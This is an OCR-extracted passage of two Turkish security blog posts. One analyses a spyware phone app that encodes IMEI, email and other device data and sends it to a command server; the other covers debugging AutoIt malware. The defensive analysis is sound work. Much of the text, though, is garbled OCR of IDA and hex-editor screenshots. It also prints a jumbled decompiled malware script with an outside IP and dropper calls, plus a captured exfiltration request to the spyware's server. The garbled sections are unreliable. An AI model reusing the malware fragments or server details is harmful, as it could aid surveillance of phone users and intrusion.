qLtb1-p2aldKcTQ7hkjs1aj6560gNUFKGATjcEcnTktdKflieXAmcYIsNrdriyl8_pdLl-xADiaX
A3U_BMIIKTQQuUZmb3HOaFVYwp3rNTKEzks9QV czIVIOWZaf ZXT5LsTah)dxFbXTV-fRwq8YYDE
QYqv3gYmK2gLrLyWj7ZC26L7rpamGDbTPacqRZ3ImtGAX cmfiHE7zAceEOOwSh4LyBIWSS0H_W2)
7_wwNOdt_zmfGOujgTnRDUWcBi2DHCaToM3vnLhvm4kYMk-UBX7_AOOMoKfXAQAA

Tabii sistemden toplanan ve komuta kontrol merkezine gonderilen veri bu drnekte oldugu gibi gizlenmis (encoded) ise bu durumda statik
(dex2jar, JD-GUI, IDA Pro ve/veya Radare2 araglarindan faydalanabilirsiniz.) veya dinamik kod analizi ile gizlenmis veriyi ¢ozebilirsiniz.
Dinamik kod analizi i¢in IDA Pro aracindan faydalanabilirsiniz.
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http://www.charlesproxy.com/
http://github.com/pxb1988/dex2jar
http://jd.benow.ca/
http://www.hex-rays.com/products/ida/index.shtml
http://rada.re/r/
http://www.hex-rays.com/products/ida/index.shtml

Bunun i¢in oncelikle casus uygulamanin apk uzantili kurulum paketine (bt.apk) ihtiyaciniz olacaktir. Bunu elde ettikten sonra paketin
i¢cinden ¢ikan classes.dex dosyasini IDA ile agmaniz gerekmektedir. Ardindan Android Emulator‘e yiiklediginiz (adb install bt.apk) casus
uygulamay1 IDA Pro ile analiz etmeye bagladiginizda data parametresi ile sunucuya iletilen gizlenmig veriyi tetiklemek igin kayit islemini
gercgeklestirmeye ¢alismaniz yeterli olacaktir.

Kayit ekraninda 1 yazdiktan sonra butona bastiginizda uygulamanin http://a.thd.cc/apiv4/register/registerjson adresine gizlenmis data
parametresini de igeren bir veri gonderdigini gorebilirsiniz. Bundan yola ¢ikarak IDA {izerinde registerjson ile iligkili olabilecek yerlere
kesme noktas1 (breakpoint) koyacak olursaniz ¢ok ge¢cmeden sistem {izerinden toplanan email, imei gibi bilgilerin toplanip GZIP ile
sikistirtlip ardindan base64 ile gizlendigi kod bloguna ulasabilirsiniz.

= bt-dex2jar.jar:=
~[@ android e e 7 = 3 i = = o
el "1 L] uf L2 £ ' i LY B Lo - B -
& support. vd A ju.class: lc.class d.class AbstractSessionInputBuffer.class:
#aa ™
k- oo % g.class: % h.class= tivd.classt i c.classi Wb
: Edl_‘: c package com.android.systesm.utils.other;
—l@ Co&r 3 iy 5
+ 5 Fil E CI & isport a_n::rqu.ut:l.su:&,.
1 & VKRR Receiver.lass b oo e et
: P gg ns=s import java.util.zip.GZIPCutputStream;
B b.
: :, ﬁ.c ass public class h
i d.class o't
+ ;--'; ?ﬁ ass public static byte[] a(String parasString)
+ % T.Class &
+ f:.'. a.! Fass return Basetd encode(p(paranstring), 8);
+ i media ¥
+E vie e
I : wﬁgg‘;ﬁ Dubii:.ﬂdti: byte[] b{String parasString)}
]— (] gom e
=l andr
+@ |nuutmem
:_ & |n|:|utm ommon
intern. onv
& mo eb d"séfav
= sys
+ i a.8.a8
+| i
+ 8 Elsolavz sov
+ @ [oassender
+|8 sv
- d} u Ljava/io/OutputStrean; )V
+| mthltnthreadma
= of
el _l . e .
+5 rnsmuramﬂmn |Der$ erializableCookie.class .
+ 4 InstaaramApiHelper.class
+ a.class
+ |
+h
+}
+|5
+4
1
F
+
+
Ea
+ ?
o o180 , wasla '
FY
T
I+
F
ES
=+
L+
A 4 IDA - classes.idb (classes.dex) C:\Users\Mert\Desktop\mspy\classes.idb - B8
HE ey GG 6 ) o BC FHEr S X P O Obevikdebugger - %fh G F* F<
Yo 1 I I mmm  Android Emulator - mspy:5554  ——
Librarv function B Data M Reaular function | Unexolored M1 Instruction © External svmbol -
7 Functions window o & x| W IDAViewA O T Breakpoints T Hex View-1 T Structures
Function name L CODE : 0013E6FC iput-object ~
SettingsProvider_getType@LL . : jeesr ]
SettingsProvider_insert@LLL EDDE: 8013E7 04 1put?nnject
SettingsProvider_onCreate@Z CODE : 0013E7 08 new-instance o
SettingsProvider query@LLLLLL CODE - 001357l invokesdirect Enter Registration Code -def_LinkedList_in:
SettingsProvider update@ILLLL CODE : BO13E712 iput-object
2810, init @VLL CODE : B013E716 new-instance
2@V CODE: 8013E71A invoke-direct imp. @ _def_Concurr:
as10_a@V

a$11_init@VLL CODE : 8813E720 invoke-static
a$11.06V CODE : 0013E726 move-result-object
a$12_init_@VvLL q

1
- [}

2812 2@V Choose process to attach to —

a$1_init @V.0 iB Complete Replstration { imp. @ _def_Concurr:

a$1_run@V_0 Aol £) inp. @ _def Colli
a$2_init_@VLL 2 1693 android.sys.process
a52 2@V
a$3_init @VLL
a$3_a@v
as4_init @VLLI ok Sance Sserc e
as4_a@Vv Line 1 0f 1
] UULSE /20 UUL3E /202 a__1n1t_WV_Z1+6C (Synchronized with Hex View-1) nay immediately begin monitoring v

Line 8245 of 20249 ¢ f your personal Control Panel at >

f) imp. @ _def_Colli

imp. @ _def_Concure:
f) imp. @ _def_Coll

B e e o o ot

T —— B e

Flushing buffers, please wait...ok
Flushing buffers, please wait...ok
Command “JumpEnter' failed
Flushing buffers, please wait...ok
Deferring breakpoint. It will be set after the class 'com.android.mob.display2.main.b.b" is loaded.

JOWP error: An established connection was aborted by the software in your host machine.

Failed to suspend the application L
dalvik_debmod_t::close_remote()

JOWP error: An established connection was aborted by the software in your host machine.

TCP-connection to adb server

Target Android version 6.8, SDK version of the framework 23 (ART) v
Python

AU: idle Down Disk: TGB
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http://developer.android.com/studio/run/emulator.html
http://en.wikipedia.org/wiki/Gzip
http://en.wikipedia.org/wiki/Base64#URL_applications

Overview Request |Response I Summaryi Chartj Notesi

POST /apivd/register/registerjson HTTP/1.1

Connection: close

Content-Type: application/x-www-form-urlencoded;

Build-Version: 4.18.3

User-Agent: Dalvik/2.1.0 (Linux; U; Android 6.0; sdk_phone_armv7 Build/MRA44C)
Host: a.thd.cc

Accept-Encoding: gzip

Content-Length: 188

data=H4s|AAAAAAAAAFZNMQ7CMAXF7-K5QxqQWnoBljb2yrRWsEgcKY2FoOLuOCN4--_Z_juglwMK0zQ
H29-HNAtzh98P56gA07EZtzvmKCEHGES|bGDQmMFe8krth7mIERRDiySWheozldetqNTyMqybd4Y3T
P6rW9875Ls-XK3y-dW_QT54AAAA=

) IDA - classes.idb (classes.dex) C\Users\Mert\Desktop\mspy\classes.idb - osIEl
File Edit Jump Search View Debugger Options Windows Help
Hh e GG S 3w DO ofodEh v F e X P [ D 0avikdebugger - Feich @ F*
([ ] 1 1 |l I
Library function Ml Data MM Reaular function Unexolored B [nstruction External svmbel

7IFunctions window 2 % * [ IDAViewA B i Breakpoints 7 Hex View-1 T Structures T Enums A Imports 7 Exports

Function name o © CODE : 08119A62 const-string v1, afpiviRegisterR # “apivi/register/registerjson™ ~

Fla_clinit @V * CODE:08119A66 invoke-virtual {vB, v1}, <ref StringBuilder.append(ref) imp. @ _def_Strim

[Flas@vl © CODE:08119A6C move-result-object ]

!?,'am,n * CODE: 068119A6E invoke-virtual {vl}, <ref StringBuilder.toString() imp. @ _def_StringBuili

:?b_ init @V * CODE:00119A74 move-result-object vl

Tb_a@v_u * CODE:00119A76 iget-object v1, this, RegistrationCodeFragment_d

[Flbeozt * CODE:08119A7A const/u vz, B

L?-d_init_@\f T

Ze_inn_@v * CODE : 08119A82 nove-result-object vi

|fle_a@vu * CODE : 08119A84 new-instance vz, <{t: b>

|F]f_init_@V * CODE:08119A88 iget-object v3, this, RegistrationCodeFragment d

|f]fa@zL i *tnish

|f]a_init @v * CODE : 86119A92 const/h vi, 1

|f|h_init @V * CODE:@@8119A%4 new-array v1, v1, <t: String[]>

Lf]i_init @V ° CODE:B8119A98 const/4 vad, @

\f|ia@VLl * CODE: 00119A%A aput-object ul, vi, v3

|f|i_a@VLl * CODE:80119A%E invoke-virtual {v2, v1}, <ref b.execute(ref) imp. B _def_b_executeBLL>

£k a@vLl CODE : 00119AAY

|f]La@ZL CODE: B8119AA4 locret:

|£] BackStackState$1_init @V v * CODE:00119AA% return-void

L% > 00119A8C 00119A8C: RegistrationCodeFragment _a@VL 0458 (Synchronized with Hex View-1) v
< 3

7 Qutput window B8 =

Python> ~

Python>

Python>

Python>

Python>

Python>

Python>

Python>

Python>

Python>

Python> v

Python

AU: idle Down Disk: 5GB
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i d IDA - classes.idb (classes.dex) C:\Users\Mert\Desktop\mspy\classes.idb

File Edit Jump Search View Debugger Options Windows Help

Hh e ?yﬂmﬁmf& ¥ v @O chedih - FuiX D-EIDDuMkIdehwr | %k '@I"i"

Librarv function M Data Ml Reaular function | Unexolored M Instruction | External svmbol

7 Functions window 8 & x @ IDAView-A D i

Function name =

[Fla_clinit @V

[Flas@vii 0811B3FC

|f|aa@IL 0011B3FC

[F]b_init @v 0011B3FC

£ b a@VU 0a11B3FC

fb_a@ZL 00118460

L?’ d_init @V 00118406

[Fle_int@v 0811B40A

\f e a@VU 0p11B4180

L1 _init @V 08118412

|f]ta@ZL 00118418

[Fla_init @V 8011B41A

[F]h_init_ @v 00118420

Lfi_init @V ~ |0811BL24

< i > 0011842A
po11B42C

: 00118432

4 Graph overview 777 lae11B43Y
0811843
0011B43E

T Output window

Python>

Python>

Python>

Python>

Python>

Python>

Python>

Python>

Python>

Python>

Python>

Python

AU: idle Down Disk: 5GB

new-instance
invoke-direct
const-string
invoke-static
move-result-object
invoke-virtual
move-result-object
invoke-virtual
const-string
invoke-static
move-result-object
invoke-virtual
move-result-object
invoke-virtual
const-string
invoke-virtual

0011B3FC public static com.google.gson.k com.android.mob.display?.main.login_system.f.a(
android.content.Context v3 »
java.lang.String vk,
java.lang.String vS)

v, <t: k>

{uB}, <void k.<init>() k__init_@mu_8>
v1, afuth_id_1 # “auth_id"

{}, <ref a.a() a_aBL_12>

2

{v2}, <ref a.d() a_d@L_8>

2

{vB, v1, v2}, <void k.a{ref, ref) k_aBULL_é6>
vi, almei_0 # “imei®

{}, <ref a.a{) a_aBL_12>

w2

{v2}, <ref a.c{) a_cBL_9>

w2

{vB, v1, v2}, <void k.a{ref, ref) k_aBULL_é6>
v1, aEmail # "email™

{vB, v1, vb}, <void k.a(ref, ref) k aGULL 6>

100.00% (0,-17) (999,366) 0011B3FC 0011B3FC: f_ a@LLLL (Synchronized with Hex View-1)

i d IDA - classes.idb (classes.dex) C:\Users\Mert\Desktop\mspy\classes.idb

File Edit Jump Search View Debugger Options Windows Help

Skl v~ ’I%)‘&]%m‘& ¥ o @O ot~ FuiX D'EUDDuMkIdebmer k3 @I"i"

Librarv function Ml Data MM Reaular function | Unexolored M Instruction | External svmbol

@ Brekpoints @ | @

HexView-l ©

® Stuctures © | T Enums O | @ Impots O | ©  Bpots O

7 Functions window o s x| @ IDAViewA O
Function name -~
[Fla_clinit @V
|f|a a@vLl
|f]a a@®ZL
Lf|b_init_@V
fz b_a@vLl
L’? :‘ai[:}ifl'@v 8011A7A0
i Bo11A7AD
Z Lm';‘ﬁ) 3 8011A7A0
B o 8011A7A0 this =
% f algin_@ 8811A7A0
o ini 001107A6
s Egte B8911A7AR
| F]h_init @V
|Fi_init @V . 0011A780
i > 8911A788
B011A7BA
ouerview B011A7BE
AG 5o o=
o Be11a7Cc2
l BB11ATC2 locret:
af11a7r?
7 Output window
Python>
Python>
Python>
Python>
Python>
Python>
Python>
Python>
Python>
Python>
Python>
Python

AU: idle Down Disk: 5GB

vl

invoke-direct
iput-object
invoke-virtual
nove-result-object

nove-result-object

iput-object
iput-object

rotmern—unid

=

0011A7A0 public void com.android.mob.display2.main.login_system.b.<init>(
com.android.mob.display?.main.login_system.a v2,
android.content .Context u3,
com.google .gson.k vk}

{this}, <void AsyncTask.<init>() imp. @ _def_AsyncTask__init_u>

uv2, this, stru_34AAC
{uk}, <ref k.toString() imp. @ _def_k_toString@L>
ui

vl
uvB, this, stru_34AB4
v3, this, stru_34ABC

100.00% (-50,-146) (1292, 9) 0011ATA0 0011ATAO: b_ init @VLLL 1 (Synchronized with Hex View-1)
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File Edit Jump Search View Debugger Options Windows Help

B e GMG S 3 o DO sdelnh - FuiX P OO wkdebgger - ffF FIEP

! I | [ |

e ——

hbranrﬁmchm-m-mlarﬁmmmiﬁummluedﬂtmm External svmbol

[FIFunctions window o a x
Function name 2

a_ clinit @V
a_a@vLl
a_a@ZlL
b_init_@V
b_a@vLl
b_a@ZL
d_init_@V

& iljfﬂlﬂlhlﬂwl\lﬁlwl

o T Enums

=]

| a

o

T IDAView-A B i

[ = Haviews o [ ®

80158604 public static byte[] com.android.system.utils.other.h.a(

e_init_@y
:—Tf;‘“@[‘; 66158604
fa@zL O015B6 04
it 0V 86158600
= 60158600
| |e015B610
Al ¥ 88158616
> |ee15Bo18

B015B618 locret:
: = . . [9015B618
AGrmph orervie 80158618 Hethod End

java.lang.String v2)

invoke-static
move-result-object
const/16
invoke-static
move-result-object

return-object

{u2}, <ref h.b(ref) h_bELL_1>

vl
vi, 8

{ve, v1}, <ref Basedé4.encode{ref, int) imp. @ _def_Basets4_encode@LLI>

vl

vl

Python>
Python>
Python>
Python>
Python>
Python>
Python>
Python>
Python>
Python>
Python

AU: idle Down Disk: 5GB

100.00% (-10,-236) (1325,19) 0015B604 0015B604: h_alLL_9 (Synchrenized with Hex View-1)

File Edit Jump Search View Debugger Options Windows Help

B e GG S 3 v DO delnh - FuiX P OO wkdbgger - ffF FIEP

e ——

(T [ |

hbranrﬁmchm-m-mlarﬁmmmiﬁummluedﬂtmm External svmbol

TIFunctions window ° o =
Function name S
a_ clinit @V

a_a@vLl

a_a@ZL

b_init_@V

b_a@vLl

b_a@ZL

d_init_@V

e_init @y

e_a@vLl

f_init @V

f a@ZL

g_init @V

_init_ @V

i init @V

i_a@vLl

ja@vLl

k_a@VvLl

| a@ZL
BackStackState$1__init_@V
BackStackState$1_a@LL
BackStackState$1_a@Li

B o Y o Y Y Y Y Y Y
=

BackStackState$1_ L
BackStackState$1_newArray@LI
BackStackState_ clinit_@V v |
>
& Graph overview o & x

—
E_an window
Python>

Python
AU: idle

Down Disk: 5GB

T IDAView-A B i

T

] 1]

Enums

=]

| a

o

F".l
0015B62C public static byte[] com.android.system. utils. other.h. b

vil, <t: BytedArrayDutputStream:

{ul}, <int String.length() imp. @ _def_String_length@I>

Iia. i

n,
{u1, =l}, {void Bgunrrqﬂutyutswean.<!n1t)(1nt] imp. B _def UytenrrynutputStreal\_lnlt U1

00158620 java.lang.String va)
08158620 new-instance
00158630 invoke-virtual
R1SB636 ROve-Fesult
00158638 div-int/1ite
00158630 invoke-direct
e

B15B6R2 8 try Bx15B642-Bx15B666:

B15B6R2

BO1SBEKZ loc_15B642:

DNSB6L2Z new-instance
DINSB6RG invoke-direct

DI SEGAE invoke-virtual
BI15BA52 nove-result-object
BO15B65L invoke-virtual
DO1SB6SA invoke-virtual
DISEAGE invoke-virtual
BINSB66E move-result-object

vl, <t: h§>

{ub, v1}, <upid h§1.<initd>(ref) n§1_init_@uL_o>
{vh}. <ref String.getBytes() inp. @ _def_String getBytes@L>

(»s. w2}, <woid GZIPDutputStrean.weite(ref) imp. @ _defF_GZIPOutputStrean_write@Ul>
{ud}, <void GZIPDutputStrean.close() imp. @ _def_GZIPDutputStrean_close@u:

{v1}, <ref ByteArraylutputitrean.toBytedArray() imp. @ _def_ByteArrayOutputStrean_toBytedrrayil >
vl

1

BE15B668

B15B66!

80.00% (-37,115) (787,803) 00158642 0015B8642: h bELL 1:loc_15B642 (Synchronized with Hex View-1)

BB158668 loc_15B668:
8

=T
OMSBGGE 8 try Bx1SBAGE-Dx1SBAGE:

invoke-virtual

{v1}, <void BytedrraybutputStrean.close() i

. B _def_ByteArraylutputStrean_close@Ux

BE1SB68G
BE1SB68G
B015B688

150686 |

1

BO1SBAEE
e

EE X}

return-object

94



b ¢ IDA - classes.idb (classes.dex) C:\Users\Mert\Desktop\mspy\classes.idb - 8

> 00 0w % 08y & 300 T G
[ T | 1 T S W TRAEY NN LW NN 8 VTN EEVN TN | e | ]
Librarv function Il Data Reaular function Unexolored Instruction External svmbol

Debug View 3 X Structures 3 Madules = General registers : Threads
3 IDA View-IP . T Breakpoints ] Strings window
B015B64E invoke-virtual {ul}, <ref String.getBytes() imp. B _def_String_getBytesBL>
80158652 move-result-object uz
00158654 invoke-virtual {vB, v2}, <void GZIPOutputStream.write({ref) imp. B _def GZIPDutputStream write@UL>
8815B65A invoke-virtual {vd}, <void GZIPOutputStream.close() imp. @ _def_GZIPOutputStream_close@u>
00158660 invoke-virtual {v1}, <ref ByteArrayDutputStream.toByteArray() imp. @ _def_ ByteArraylutputStream_toByteArrayil
8015B666 move-result-object v
= ) [
0015B668 # try Ox15B6GB-0x15B6GE : e
BO15B668 Lilig}
8015B668 loc_15B668: e
BA15B668 invoke-virtual {u1}, <void ByteArrayDutputStream.close({) imp. B _def_ByteArrayOutputStream_close@U>| 881
a1
Watch view 1 H
Location o
&' b ] 61" & "0 LA v
x1F | 1 0E E e & & 'C vl
[Object *1va At L d 2 Loal0, o 02 2 \ V2
biect v nul V3
[Strinalvd “hCauth idh "\ 14b287a0c0232 189\ Timed\ "\ "0000000000000000" \Vemail inull \rea codel ™\ TV AV lanauwaa... 3tring v
(5trinalvs Cannot evaluate “(Strinalvs”, String Cannot evaluate "(Strinalv5”, x
Mame Value Type Location 2
1o bute o
1111 bute 11
1121 bute 2
1131 bute 1131
1141 bute 4
1151 bvte 1131
118l bvie 11gl ¥
T Dutput window B 4 x
Traceback (most recent call last): ”
File “<string>", line 1, in <module>
HameError: name 'v@' is not defined v

data parametresinde yer alan verinin nasil olusturuldugunu 6grendikten sonra Python ile mspy decoder gibi basit bir betik hazirlayarak
komuta kontrol merkezine giden tiim veriyi ¢dzebilirsiniz.
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http://github.com/mertsarica/hack4career/blob/master/codes/mspy_decoder.py

"time

":true,” :
osed_activated":f

Sonug olarak mobil giivenliginiz i¢in kullandiginiz cihazlarin jailbreak veya root edilmemis olmasi art niyetli kisilerin iglerini bir kademe
daha zorlastiracaktir. Casus uygulamalara karst Android kullanicilarinin belirli periyotlarda cihaz yoneticilerinde yer alan uygulamalar1
kontrol etmelerinde, iOS kullanicilarinin ise iCloud parolalarini degistirmelerinde fayda olacaktir.

Bir sonraki yazida goriismek dilegiyle herkese giivenli giinler dilerim.

Not: Bu yaz1 Pi Hediyem Var #8 oyununun ¢6ziim yolunu da icermektedir.

The post Casus Telefon appeared first on Siber Giivenlik Giinliigii.

Autolt Hata Ayiklamasi

By Mert SARICA on February 1st, 2017

Hem Pi Hediyem Var oyununun altincisina hem de Autolt Bankacilik Zararli Yazilimi baglikli blog yazima konu olan zararli yazilimi/betigi
inceledigimizde, Autolt’in son yillarda zararli yazilim gelistiriciler tarafindan siklikla kullanildigimi gorebiliyoruz. APT gibi hedeflenmis
siber saldirilarda da Autolt ile gelistirilmis zararli yazilimlarin kullaniliyor olmasi, zararli yazilim analistleri ve zararli yazilim analizi
becerisine sahip siber glivenlik uzmanlar tarafindan analiz edilebilmesini ihtiyag¢ haline getirmektedir.

Wikipedia ‘dan alinti yapacak olursak, “Autolt, Microsoft Windows i¢in ticretsiz bir otomasyon yazuumidir. Yazilimin ilk versiyonlar
tamamen otomasyona yonelik hazirlanmis olsa da sonradan kapsami genisletilerek hemen her tiirlii uygulamanin gelistirilebilecegi
bir programlama araci haline gelmistir. Bir Autolt betigi, Autolt yorumlayicisimin yiiklii olmadig bilgisayarlarda ¢alisabilecek
sekilde, sikistirilmis bir EXE programi haline getirilebilir.”

Eger “Autolt Bankacilik Zararli Yazilim1” baslikli blog yazimdaki gibi sansliysak, elimizdeki Autolt betigini (script) ¢esitli hata ayiklama
(debug) araglari ile analiz edebiliriz. Eger derlenmis, exe uzantili bir Autolt dosyasi ile karsi karsiya isek bu durumda yapacagimiz ilk is,
derlenmis Autolt dosyasini, betige ¢evirmek olacaktir.

Derlenmis Autolt dosyasini betige ¢evirmek i¢in Exe2aut aracindan faydalanabiliriz. Exe2aut aracini galistirdiktan sonra exe uzantili Autolt
dosyasini araca siiriikledikten sonra betik dosyasina kolaylikla ulasabiliyoruz.
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http://www.mertsarica.com/pi-hediyem-var-8/
http://www.mertsarica.com/casus-telefon/
http://www.mertsarica.com
http://www.mertsarica.com/autoit-hata-ayiklama/
http://www.mertsarica.com/pi-hediyem-var-6/
http://www.mertsarica.com/autoit-bankacilik-zararli-yazilimi/
http://threatpost.com/autoit-used-in-targeted-attacks-to-move-rats/114406/
http://tr.wikipedia.org/wiki/AutoIt
http://www.autoitscript.com/
http://www.mertsarica.com/autoit-bankacilik-zararli-yazilimi/
http://dl.dropboxusercontent.com/u/68856866/ctf6.zip
http://domoticx.com/autoit3-decompiler-exe2aut/

L #EndRegion Internal Fu

Global §1lc7065203373, $vE68417q23886,

517065203373

$3h25321c89783
$dv24654k21486

£1x78645b58153 dy&8609b503 61

1z77591w3 6570 dy&B609b50361

61222023 = dy68609b5036L
0452043468 = §oalg ses 256 ; 26128
7172234123 Random (10000, 99999399

FileGetFize (Fzp45214i1773 i0z4

$wh0050+v14202,

ir dy68602b50361

§bj 77172234123,
dy&8609b50361 ( "0xAZ4TDEDDDC2S4P2T 7 TFI336534D5BESEDBAD4428207FCETATE03I3FESBE123D47 ",
dy685609b50361 ( "0x0012BEFBAC1TOBZEFEITDFICF4BB1T756", "1203839Z2604502155876"
? "0x5C4DEFTEFS 95A374307FBZECBPOABTED ",
dyE8609b50361 ( "0x5CADBFTEFS 95A3 74307 FBEECBFOARTED "
dy58609b50361 ("0x5C4DEFTEPS S5A3T43D7FEZESEFOABTED "
"0x787CEEB03I0IASDS1CI40ASDELADDSTIZ",
"OxEB658565329TFBLTESELFF18508B0EEA",
"Dx4105FZFES4787450BFFESBELSDPAZECD ",
"OxZBEFIZEF0S0BECZFEEBTITO4ZE0FBCDIA™,

$zp45214i1773, $dv24654k21486

"12038392604502155876"
"12038392604502155876"
"12038392604502155876"
~12038392604502155876"

£ Exe2Aut - Autolt3 Decompiler

BEndRagion Incernal Functions

"12038352604502155876"
; Winrar gifresi:
"12038392604502155876"
"12038392604502155876"
T12038352604502155876"

bin

EpReSLYVYE
dy&8609b50361

"0x559DFOBECEDFZASATZ6BI381F2I9BCP10"
dy68609h50361 ("0xDTFOZZEEBCAET48B1DCAFTEZS0B01ERF3 ",

¢ htep: /149,202, 206. 57

"12038392604502155!
"1Z203B392604502155!

;s C:\Documents and Settings\Administrator\Desktop\T43672679\App Updater

; #comments—start
s AlgoPass
¢ unbin. bin

; unbinZ

L gi87402uT9156 Global f1 . fvead 4202, $BYTTITEZI4IZI, $2p4SIl44LTTI, FdvZ46S4kLIGE
ElElse fic o 1 i 1558767}
T Fvi68417423886 = ! ACF4BBL1756", "1Z03839260450Z1E5876%)
©o33033175674 FEqISTA0PEEL3 = AAppDacalir & dyGBE05SBE03EL("025CADEFTEFSISAITAID e EEETE") & dy 361 ( 0", "1
gi87402u79156 $2p4521411773 = RAppDaraDir & dySEE0SBE0ZEL("0xSCADBFTEFSIEAIT4ID 7ED*, * LEEETE") & dy 361 (" 0xD xr3, "1
L EndIf $3hZ5321089783 = QAppDacalir & dyEEE0SBE0ZEL("0xECADBFTEFSISAIT4ID 7ED", LEEBTE")
1496 = 4y { 713, "1 sse7en)
. . flx 53 = dy i TEIELFE. =] 5£876%)
= Func giB7402u79156 $3277591w36670 = (= OxdL 55876%)
q:x73384h95527 () ; HREY CURRENT USERY pus25061222023 = { 21658767 )
pd77T0Zme4 5985 ; Seripe C:\Document] ':n::;::u?;:; = *C-JL-:;E::S : i 3 o
LA = E #by T34 = Bandomi{ k 2} (0% it T =)
£e3919x69766() ¢ Ci\Documents and o 1iTip;)ecensize(sapdSs2L4iLTI) > 1024 * 1024 * 2) AND thi8284071855() s 4 Then
2795592633 1874020791561}
L EndFunc Else
ccEINIILTEETALY
¥l ¥
ClFunc am27955m92633 S LA
Local $et31087tZ6406, §$et310B7tZed04
SabBE4T4RELLED Random (10000, 99995 Func gi87402u7sliel)
5wx37445a87440 = Random (10000, 95999 ::;:::;55:::::
5qd52360q6544 = Random(10000, 995959 e STe e D
Local 5g=81838m1134 amZTIEERIZEIZ ()
$g=81838m1134 @TempDir & dy6B8609hs| IndPunc
DirCreate (§gafl83smll 7 ¥Tempd kN g anz7sssaszeasny
FileSetittrib =281838m1134, dys8é09 Local §etSL087c2E406, JetSlOBTC2E4062, §sbBEAT4RBL16Z, Fux3T445a87440, #gd52360qEtdd
Global 5ewS8720=36859 Swx3T445a874] #SbBEATARSLIEZ = Random{lODOD, 59555559595, 1)
706 cg7a ad. D E5 4 FunaT445a07440 = Randon {10000, 99995599995, 1)
(e L G LR S LR $gd52360q5544 = Random (10000, 39839539985, 1)
SetS10B8TLZ 6406 BinaryTo2tring (wwis Local FgsSiS3Emilid
PileWrite (§gs81838ml134 dy&8603b50) Fgsfledmiiie = ATemplic & Lt LEE676%) & FsbB64T4kO1162
foroliafeaetics = BivacyRoScringire) :1;c;.?1::w:7:”:;;;::13| dyERE0SBE0I6L {"0xEFE481TIRTIDICERL 15587671 )
5 7 = - 'ileSe ril gs! . 0z PR o
FileWrite (Sg=81838ml1134 dy&8609b50) Global e 5 ¢ F13F el EE0T6%)
2leep (6000 Global - . 1TBIFE", "1 158767}
s Agafadaki satirda yukaridaki asstay fat = Binary 94029()) . .
Run (§gs81838ml134 ¢ dyé8609H50361 (" s iyt Gesei510) ’ s @ pee s
#leep (1000 FilaWr 134 & " 0xBATD .t S56T6™) & Fae 73, fae
PileDelete{$g=81836m1134 dyé&8609b5 Slasp (6000}
FileDeslete (5gs21838m1134 ¢ dyéB8609bS) 134 ¢ ¢ . BEATE") & £ oy i ]
Slasp {1000}
Sleep %UUU Fi 134 & t i 155876%) & $ewS8720c36863)
Local 5wal 11B135j20105v5157TwEBL Fi 134 & (R TE:1% il 155876") & F3e70634b65873)
Local $bz47309326006 = filelisttoar Slesp (2000}
CE3114 aEin e P Local fws593114 ETwBEL 7, $gpa3315b00362
Por $waS58311i18135520109v5157wBB182y Losal fhzd72083 - _tileld 134 ¢ 1" 0x8ATD acEE1CCER, 1 558767}, ay {"ORAE27LAECTIELBIEL
If stringIndtr(fbz47309526006 (5
If StringInftr($bz47309j26004 € >
$wa58311i18135520108 A L R T L e A F L e S e S S R E P VR S LR S AT L

Peki betige ulastik, simdi ne yapacagiz ? Autolt’in web sayfasinda yer alan Sikca Sorulan Sorular sayfasina bakacak olursak, hata ayiklama
i¢in gesitli araglardan faydalanabilecegimizi gorebiliyoruz.

6. Pi Hediyem Var oyununda kimilerinin safe betigini analiz ederken hata ayiklama araglar1 yerine ConsoleWrite(), MsgBox() gibi ekrana
degiskenlerin sahip oldugu degerleri yazmak i¢in kullanilan fonksiyonlardan faydalandigini gérdiim. Her ne kadar bu da bir yontem olsa da
igleri kolaylagtirmak ve daha hizli ilerlemek i¢in hata ayiklama araglarindan faydalanmanizi tavsiye ederim. Tabii kimi zaman hata ayiklama
araglartyla sorun yasamaniz da olasidir. Ornegin yine 6. Pi Hediyem Var oyununda, hata ayiklama araglarmdan olan Dbug aracini Autolt
programinin son siiriimii ile kullanarak safe betigini analiz etmeye ¢alisanlar, #comments-start ile #comments-end takilar1 arasinda yer alan
gizlenmis (obfuscated) verilerin hatali olarak ¢oziilerek diske yazildigina sahit oldular. Bu ve benzer sorunlarla karsilagmama adina, zararh
yazilimin gelistirildigi Autolt siirlimii ile betigi analiz ederseniz, sorun yagama ihtimaliniz oldukg¢a diisecektir. Autolt siirtimiinii bulmak i¢in
ise betik ile birlikte gelen Autolt programinin karakter dizilerini (strings) incelemeniz yeterli olacaktir.
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http://www.autoitscript.com/wiki/FAQ#How_can_I_debug_my_script.3F
http://www.mertsarica.com/pi-hediyem-var-6/
http://www.autoitscript.com/autoit3/docs/functions/ConsoleWrite.htm
http://www.autoitscript.com/autoit3/docs/functions/MsgBox.htm
http://www.autoitscript.com/forum/files/file/407-dbug-another-debugger-for-autoit/

File Edit Disk Op

tions To

.

ols Plug-Ins Window Help

23Hed 4L2AR (90 BaBI | MGEN I E]
2B %o | @ B | [LegacyASCll v ][ e < » ~||
| Data Inspector g o= x|
3| 0 1 2 3 4 S 6 8 012345678 Data at offset 0x000002C
2 100000201 00 00 00 00 00 00 OO[2E 74 ....... EE O I — 2
=|llo000020A 65 78 74|00 00 00 45 BF 08 ext]...E.. Bl yints 46 B
% 00000213 00 00 10 00 00 0O C? 08 00 | = = smxcemeen o int16 29742
2 | 0000021C 00 04 00 00 00 00 00 00 00 .cueeuwan- Uintl6 29742
00000225| 00 00 00 00 00 00 00 20 00 |..--w-- int32 2019
0000022E 00 60 2E 72 64 61 74 61 00 rdata — ,)mqm -~
00000237 00 52 cCc 02 00 00 DO 08 00 Riszmamsan © [Expression Cak T
00000240 00 CE 02 00 00 Cc4 08 00 00 ..cuceuwun- [Signed v”32bv]
NNNNN2A449 0N N0 AN 00 NN _non _nn _An _nn &L 1
sasss... | ‘ ‘
% Structures EE S EME e alm e B2 |7 2362 instances of 'strings’ found in CiUsersiMertiDesktopilsa
Member [ Value (dec) # Value (hex) # Siz{| || Address ¥ Length ¥ length [¥ =
000BFC90 23 1174 Autolt3.exe
O0OBFCAE 23 17 ProductName
000BFCC8 33 21 Autolt v3 Script
000BFCF2 29 1D \ ProductVersion
E 000BFD10 23 17 BRE SV, |:|
g 2 NANNNDCMHOr o be | 17 LW ] P P 2
E < | e | 3 E B Compare | &, Checksum &8 Find | 4 Bookmarks | (2 Output |
Fi | Complete. Cursor: 00000568 Caret: 00000208 934400 bytes OVR MOD REA

1 "Hex Worksh... | B R ST ) 1145

